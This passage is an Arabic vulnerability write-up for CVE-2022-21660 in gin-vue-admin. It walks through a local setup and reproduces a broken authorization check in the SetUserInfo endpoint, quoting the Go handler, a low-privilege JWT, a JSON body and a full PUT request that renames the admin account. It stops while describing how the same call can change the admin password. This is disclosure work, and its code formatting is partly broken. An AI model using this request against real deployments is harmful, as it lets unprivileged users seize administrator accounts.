
CVE-2022-21660
مرحبًا بجميع الخبراء في إعطاء هذا المشروع نجمة (start).```http https://github.com/flipped-aurora/gin-vue-admin/

بعد كتابة المقال، واجهت بعض الصعوبات في التقدم بطلب للحصول على CVE، لكن لحسن الحظ تم منحها، وكان موظفو GitHub سريعين في الاستجابة.
> ملاحظة: قبل التقدم بطلب CVE، تم تقديم CNVD بالفعل

### ثانياً، إعداد البيئة
وفقًا للتعليمات الرسمية```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
ثم أدخل دليل server```bash go generate
```bash
go build -o server main.go
بعد ذلك، قم بتشغيل الخادم مباشرة

ثم الـ WEB، ادخل إلى مجلد web، وأدخل```bash cnpm install || npm install
بعد ذلك، فقط انتظر

بعد اكتمال التثبيت، سيتم فتح صفحة الويب تلقائيًا


بعد ذلك، قم بتهيئة معلومات قاعدة البيانات

بعد التهيئة، انقر على التهيئة ثم سجل الدخول

### ثالثًا، إعادة إنتاج الثغرة
### يوجد تجاوز صلاحيات عمودي في SetUserInfo
##### 1. تجاوز صلاحية واجهة SetUserInfo لتعيين معلومات المستخدم الشخصية
نذهب مباشرة إلى صفحة إدارة المستخدمين، ونضيف دور مستخدم بصلاحيات منخفضة

يمكن ملاحظة أنه لم يتم منح صلاحيات المدير في الأعلى. بعد ذلك، نقوم بإنشاء حساب جديد وتعيينه لهذه المجموعة الدور


موقع الثغرة موجود في السطر 273 من الملف https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
هنا لا يوجد التحقق من المعرف (ID) الذي تم تمريره. المعرف يمثل المستخدم، ويمكن تمرير معرف محدد مباشرة لتعديل المعلومات الشخصية للمستخدم المقابل.

أولاً، نستخدم رمز X-token الخاص بالمسؤول لاختبار تعديل اسم المستخدم ذو المعرف 1 إلى test1، وبعد ذلك يمكننا رؤية في الواجهة الخلفية أن معرف المسؤول قد تم تعديله إلى test1.

بعد ذلك، نستخدم رمز (Token) الحساب الذي أنشأناه حديثاً UzJu_HxSecTeam لاستبداله، وتعديل اسم المستخدم المسؤول إلى test2.
أولاً، في معلومات الحساب الشخصي لـ UzJu_HxSecTeam، نذهب إلى تغيير كلمة المرور، ونغير كلمة المرور عشوائياً، ثم نحصل على رمز الحساب.

هذا الرمز (Token) خاص بالدور ذي الصلاحيات المنخفضة، وعادةً لا يمكن للمستخدم ذي الصلاحيات المنخفضة تعديل أي معلومات خاصة بالمسؤول.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
سنقوم باستبدال Token وبناء بيانات Json التالية```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

سنقوم باستبدال Token في واجهة setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
بعد ذلك، يُعلمنا بأن الإعداد تم بنجاح

هذا هو عندما ننتقل إلى حساب المسؤول ونتحقق مما إذا تم تغييره إلى test2

يمكننا رؤية أن حساب المسؤول قد تم تغييره بنجاح
##### 2. ثغرة رأسية غير مصرح بها في واجهة SetUserInfo لتغيير كلمة مرور المسؤول دون قيد
أثناء التصحيح، تم اكتشاف أنه في واجهة setUserInfo التي تسمح بتعيين المعلومات الشخصية بشكل غير مصرح به، لا يمكن فقط تعيين id وusername وnickname وheadimg، بل يمكن أيضًا تمرير معلمات مثل password